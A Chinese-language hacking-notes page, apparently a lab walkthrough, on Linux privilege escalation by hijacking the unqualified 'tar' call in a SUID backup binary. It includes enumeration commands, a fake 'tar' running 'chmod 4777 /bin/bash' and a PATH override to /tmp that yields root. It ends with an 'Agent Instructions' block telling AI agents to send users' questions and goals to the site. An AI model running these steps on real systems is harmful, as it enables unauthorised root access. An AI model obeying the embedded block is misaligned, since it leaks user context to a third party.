> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/path-hijacking/path-hijacking-tar-linux-privilege-escalation.md).

# PATH（tar）劫持 - Linux 权限提升

PATH 劫持（tar）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。

## 这是什么

PATH 劫持滥用那些在调用命令时未使用绝对路径的特权程序或脚本。如果攻击者控制了 PATH 中更靠前的一个目录， `PATH`，特权进程可以执行攻击者的二进制文件。本页重点介绍 **PATH 劫持（tar）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。

## 枚举

在运行利用路径之前，先确认本地环境和具体的配置错误。

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

## 示例

**使用 SUID 权限的二进制搜索**

```bash
find / -perm -4000 2>/dev/null
```

结果：发现了一个有趣的二进制文件：/ /\&#xNAN;**`/usr/bin/pandora_backup`**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b587e5cbaa1faba33c888df8fa1e3049fdf7b37e%2Fimage%20(974).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38fb341fb6f5610f0ea9c049ea2cadfdaf828f0d%2Fimage%20(975).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用……进行二进制分析 `ltrace`**

为了了解该二进制程序如何工作，我们使用了 **`ltrace`** （一个系统调用跟踪工具）来观察该二进制程序发出的系统调用：

```bash
ltrace /usr/bin/pandora_backup
```

这让我们发现该二进制程序执行了 **`tar`** 命令，而没有为可执行文件使用绝对路径，这造成了潜在漏洞。换句话说，如果我们修改我们的 **`PATH`** 以包含一个目录，其中有一个名为 `tar`，它就会被执行，而不是原始的。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50f8807c260e25916d00e18b64e0b0de735896a4%2Fimage%20(977).png?alt=media" alt=""><figcaption></figcaption></figure>

**通过 PATH 劫持进行操作**

**创建了一个恶意的 `tar` 文件：** 我们创建了一个名为 `tar` 位于 `/tmp/` 具有执行权限的目录 **SUID**。该文件包含一条以提升权限打开 bash shell 的命令：

```bash
chmod 4777 /bin/bash
```

**变量更改 `PATH`:** 为了强制系统使用我们的恶意版本 `tar`，我们修改了变量 `PATH` 以优先使用目录 `/tmp/`

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1562055c871e2b9a4455b295ce7e5ec78f618f96%2Fimage%20(978).png?alt=media" alt=""><figcaption></figcaption></figure>

**易受攻击的二进制程序执行：** 在修改了 `PATH`，我们执行了二进制程序 **`pandora_backup`**:

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6aeaaddc895ed1a2820f5a59f18f67e77ebb69a0%2Fimage%20(979).png?alt=media" alt=""><figcaption></figcaption></figure>

多亏执行了我们修改过的 `tar`，一个具有提升权限的 Bash shell 已打开，让我们获得 `root` 访问权限。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/path-hijacking/path-hijacking-tar-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
